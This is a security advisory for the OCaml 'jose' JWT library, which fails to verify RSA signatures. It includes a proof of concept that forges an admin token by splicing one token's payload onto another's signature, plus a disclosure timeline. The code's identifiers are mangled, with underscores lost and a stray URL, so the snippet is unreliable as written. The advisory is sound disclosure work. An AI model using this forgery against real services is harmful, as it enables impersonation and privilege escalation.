PT-2026-89717 · Git · Jose

Published

2026-09-10

·

Updated

2026-09-10

CVSS v3.1

9.1

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
OCaml
let () = Mirage crypto rng unix.use default ()

let key =
 Jose.Jwk.make priv rsa (Mirage crypto pk.Rsa.generate ~bits:2048 ())

let sign sub =
 Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
 |> Result.get ok |> Jose.Jwt.to<http://jose.jwt.to/> string

let seg n token = List.nth (String.split on char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
 Jose.Jwt.unsafe of string forged
 |> Result.get ok
 |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub of priv key) ~now:(Ptime clock.now ())
with
 | Ok t ->
  print endline
   ("accepted, sub = " ^ Option.get (Jose.Jwt.get string claim t "sub"))
 | Error  -> print endline "rejected"
The dune file:
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
This prints "accepted, sub = admin".

Workaround

There is no workaround known.

Timeline

  • 2026-08-25: private report via email to the authors of jose
  • 2026-08-25: fix published to repository
  • 2026-08-31: mail escalated to security@ocaml.org
  • 2026-09-04: released jose 0.11.0
  • 2026-09-10: published advisory

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

OSEC-2026-19

Affected Products

Jose